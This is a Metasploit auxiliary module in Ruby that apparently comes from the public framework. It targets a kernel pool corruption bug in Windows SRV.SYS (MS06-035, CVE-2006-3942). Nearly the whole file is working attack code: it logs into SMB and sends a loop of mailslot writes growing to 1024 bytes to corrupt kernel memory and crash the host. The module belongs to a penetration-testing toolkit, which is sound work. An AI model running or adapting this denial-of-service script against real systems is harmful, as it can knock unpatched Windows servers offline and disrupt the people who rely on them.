metasploit-framework/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb

100 lines
2.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SRV.SYS Mailslot Write Corruption',
'Description' => %q{
This module triggers a kernel pool corruption bug in SRV.SYS. Each
call to the mailslot write function results in a two byte return value
being written into the response packet. The code which creates this packet
fails to consider these two bytes in the allocation routine, resulting in
a slow corruption of the kernel memory pool. These two bytes are almost
always set to "\xff\xff" (a short integer with value of -1).
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['BID', '19215'],
['OSVDB', '27644'],
['CVE', '2006-3942'],
['URL', 'http://www.coresecurity.com/common/showdoc.php?idx=562&idxseccion=10'],
['MSB', 'MS06-035'],
],
'Actions' =>
[
['Attack'],
],
'DefaultAction' => 'Attack',
'DisclosureDate' => 'Jul 11 2006'
))
register_options(
[
OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']),
], self.class)
end
# MAILSLOT: HydraLsServer
# MAILSLOT: Messngr
# MAILSLOT: 53cb31a0\\UnimodemNotifyTSP
def run
case action.name
when 'Attack'
print_status("Mangling the kernel, two bytes at a time...");
connect
smb_login
1.upto(1024) do |i|
if (i % 100 == 0)
print_status("Sending request containing #{i} bytes...")
end
begin
self.simple.client.trans_mailslot("\\MAILSLOT\\"+datastore['MAILSLOT'], "X" * i)
rescue ::Interrupt
return
rescue ::Exception => e
if (i == 1)
print_error("Failed to write any data to the mailslot: #{e}")
break
end
print_error("Exception occurred on interation #{i}")
print_error("Error: #{e.class} > #{e}")
break
end
end
# Errors:
# 0xc0000034 = object not found
# 0xc0000205 = insufficient resources (too much data)
end
disconnect
end
end